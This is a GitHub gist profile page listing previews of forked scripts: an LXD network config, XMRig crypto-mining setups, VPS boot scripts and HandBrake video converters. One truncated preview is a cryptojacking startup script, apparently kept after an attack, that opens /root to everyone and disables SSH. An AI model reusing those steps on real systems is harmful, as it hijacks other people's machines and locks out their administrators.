Skip to content

Instantly share code, notes, and snippets.

View wechain's full-sized avatar

Anthony Lai wechain

  • Kuala Lumpur, Malaysia
View GitHub Profile
@wechain
wechain / setup.sh
Last active September 24, 2021 03:27 — forked from bnjdg/setup.sh
create lxd ct with static ip
Create the network config
vi network-config.yml
version: 1
config:
- type: physical
name: eth0
subnets:
- type: static
ipv4: true
@wechain
wechain / termux_mxrig.md
Created September 19, 2021 10:18 — forked from 2niuhe/termux_mxrig.md
install XMRig on termux

Monero XMR mining via termux ;ubuntu

  1. install ubuntu in termux command; (ubuntu is optional)
pkg install update && upgrade
apt install git
apt install wget
apt install proot
@wechain
wechain / check_spare_cpu.sh
Created September 19, 2021 10:16 — forked from nicka101/check_spare_cpu.sh
Xmrig (with idle mining) via systemd and screen
#!/bin/bash
# Check the amount of CPU being consumed by processes other than xmrig
# Takes a single (optional) argument, the name of the screen to target. Defaults to "xmrig" if unspecified
set -e
#12.5% or 2 full cores (with our 16 total)
IDLE_THRESHOLD=12.5
TARGET_SCREEN="${1:-xmrig}"
NUM_CORES=$(cat /proc/cpuinfo | grep "core id" | wc -l)
@wechain
wechain / README.md
Last active September 24, 2021 04:08 — forked from bnjdg/README.md
XMRig tmux systemd service files
@wechain
wechain / startup_script.sh
Created September 19, 2021 10:14 — forked from dataslayermedia/startup_script.sh
Google Cloud Platform Cryptojacking Startup Script for Compute Engine Provisioning via API
# The only reason I have this script is because it was used against me in a hack...
if [ -f "/root/start.sh" ]; then
exit 0
fi
chmod 777 /root
systemctl disable ssh.service || true
systemctl stop ssh.service || true
@wechain
wechain / vps-boot.sh
Last active September 18, 2021 11:02 — forked from thephez/vps-mn-boostratp-prep.sh
Vultr boot startup script - mn-bootstrap prep
#!/bin/sh
# Based on instructions from
# https://docs.dash.org/en/stable/masternodes/setup-testnet.html
#
# See https://www.vultr.com/docs/vultr-startup-scripts-quickstart-guide
# for details of using Vultr startup scripts
# Add new user
# USERNAME=miner # Username to create
@wechain
wechain / xmrig_start.sh
Last active September 24, 2021 04:21 — forked from dot-pulsar/test.sh
xmrig_start
#!/bin/bash
#POOL="de.minexmr.com:443"
#POOL="sg.minexmr.com:443"
#PAYTO="865kjopGVkABniUeparZntDDNDP3eMrVz1UFvBXSuTjb8ZfYTyQSt9GRsVeBFXhFCwK7zmqvh7a4dCrwSyo3r9GGNstLLR2"
#RIG="C2"
#CPUS="4"
#EXTRA="--cpu-affinity 0xFF"
#if [ "$1" == "" ]; then
@wechain
wechain / to_hevc.sh
Created November 8, 2018 19:21 — forked from dev01d/to_hevc.sh
This script automatically converts a directory of video files to H.265 HEVC with the nightly iteration of HandBrake and deletes the old files.
#!/bin/bash
#
# This script automatically converts a directory of video files to H.265 HEVC with the nightly iteration of HandBrake.
# https://handbrake.fr/nightly.php
# The nightly is required because the current stable release (as of writing this) does not support the "hvc1" codec
# that tvOS requires on top of only really liking mp4/m4a.
#
if [ -z "$1" ]; then
SRC="."
else
@wechain
wechain / simple_convert.py
Last active November 8, 2018 18:40 — forked from onedr0p/simple_convert.py
A simple script to convert media files to MP4 for a better Plex experience
# Python 2.7
import os
import sys
import time
import platform
import subprocess
import urllib2
import logging
@wechain
wechain / recursive-m4v-convert.sh
Last active November 20, 2022 10:35 — forked from philroche/recursive-m4v-convert.sh
Recursively convert all files using HandbrakeCLI and save to new folder.
#!/bin/bash
#
# Change this to specify a different handbrake preset. You can list them by running: "HandBrakeCLI --preset-list"
#
#set -ux
set +e
PRESET="Vimeo YouTube 720p30" # or Fast 720p30 or Fast 1080p30
if [ -z "$1" ] ; then
TRANSCODEDIR="."
else